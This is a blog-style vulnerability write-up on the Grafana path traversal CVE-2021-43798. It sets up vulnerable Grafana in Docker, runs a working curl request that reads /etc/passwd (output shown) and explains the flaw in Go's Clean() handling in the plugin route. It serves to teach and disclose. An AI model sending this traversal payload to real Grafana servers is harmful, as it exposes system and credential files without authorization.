Understanding Grafana Unauthenticated Path Traversal (CVE-2021-43798)

Syahrul Akbar R
5 min readDec 13, 2021

Grafana is multi-platform open-source analytics and interactive visualization web application. It provides charts, graphs, and alerts for the web when connected to supported data sources. Recently a researcher has found a vulnerability in this application. You can read the official statement from Grafana here. This bug will allow an unauthenticated person to read local files in the system that running Grafana on it. The affected version starts from v8.0.0-beta1 through v8.3.0 and is patched at v8.3.1, v8.2.7, v8.1.8, v8.0.7. Let’s dive into the depths by trying Proof-of-Concept that is available from Grafana Blog above.

Running the Exploit

First of all, we need to install the vulnerable version of Grafana. In this case, I'm pulling Grafana v8.3.0 images and installing it on Docker.

➜  ~ docker pull grafana/grafana:8.3.0
8.3.0: Pulling from grafana/grafana
97518928ae5f: Pull complete
33f610417605: Pull complete
982c8babeb69: Pull complete
35db451b2276: Pull complete
32f95bcac453: Pull complete
ff155ce441ae: Pull complete
8d11671a7759: Pull complete
b7760718149d: Pull complete
9edc204c0f2c: Pull complete
dcd3ae8cb697: Pull complete
Digest: sha256:64853d72058a08490a9edbba3e7884ae1a2aa0767c6f4d43d1f06f9c477dd7d4
Status: Downloaded newer image for grafana/grafana:8.3.0
docker.io/grafana/grafana:8.3.0

After installing is done, now fire up the docker images

➜  ~ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
grafana/grafana 8.3.0 4f3b39a9a21e 8 days ago 275MB
ubuntu 16.04 38b3fa4640d4 4 months ago 135MB
ubuntu 18.04 39a8cfeef173 4 months ago 63.1MB
➜ ~ docker run -d --name=grafana -p 3000:3000 grafana/grafana:8.3.0
153dca86ff11b824a0eb168635d038185eba7e93ad388c477983414112923bdf

Grafana will run at localhost:3000, next we will send the exploit to this address

➜  ~ curl --path-as-is "http://localhost:3000/public/plugins/graph/../../../../../../../../etc/passwd" 
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin

As you can see above, the command was executed successfully to print /etc/passwd.

Reading Source Code

From the Grafana login page footer, you will see the git commit that has been used.

mine is 914fcedb72

Next, we will clone Grafana source code here https://github.com/grafana/grafana and then checkout to the commit that I have mentioned above.

➜  ~ git clone https://github.com/grafana/grafana.git
Cloning into 'grafana'...
remote: Enumerating objects: 488598, done.
remote: Counting objects: 100% (11/11), done.
remote: Compressing objects: 100% (11/11), done.
remote: Total 488598 (delta 1), reused 5 (delta 0), pack-reused 488587
Receiving objects: 100% (488598/488598), 451.02 MiB | 2.78 MiB/s, done.
Resolving deltas: 100% (335533/335533), done.
➜ ~ cd grafana
➜ grafana git:(main) git checkout 914fcedb72
Note: switching to '914fcedb72'.
You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by switching back to a branch.
If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -c with the switch command. Example:
git switch -c <new-branch-name>Or undo this operation with:git switch -Turn off this advice by setting config variable advice.detachedHead to falseHEAD is now at 914fcedb72 "Release: Updated versions in package to 8.3.0" (#42523)

The pattern of the vulnerability is <grafana_host_url>/public/plugins/<“plugin-id”> where <“plugin-id”> is the plugin ID for any installed plugin. From that pattern, we know the bug is supposed to be at the “plugins” modules and we need to find those responsible controllers. Let's open the cloned repository using a code editor and find file that includes the “plugins” keyword on it.

It seems the first “plugins.go” file is the file that we want. After scrolling a little bit, I found the controller code plugins based on comment on the function.

TL;DR

  • This function will check based on the given arguments whether the plugins are available or not.
  • Actually, the given argument will be cleaned using Clean() method. But due to improper sanitation, it can access arbitrary path on the server
  • Function will return the content from the path given

Next, lets open Clean() method.

From the documentation, we know that

  • Replace multiple Separator elements with a single one.
  • Eliminate each . path name element (the current directory).
  • Eliminate each inner .. path name element (the parent directory) along with the non-.. element that precedes it.
  • Eliminate .. elements that begin a rooted path:that is, replace “/..” by “/” at the beginning of a path,assuming Separator is ‘/’.

The flaw is on last point, where if the path doesn't started with / , any ../ symbols wont be removed.

../../../../../../etc/passwd 

As you can see, that path doesn't started with slash.

Next, the path will be joined using slash as separator with plugin directory.

/home/somepluginpath/../../../../../../etc/passwd

Lastly, the file content will be served as a response.

Conclusion

  • From my perspective, the developer thinks the Clean() function is safe and there is no need for further checking because it is already in the official GO Documentation.
  • If you are a Grafana user, periodic updates are needed to solve problems like this

--

--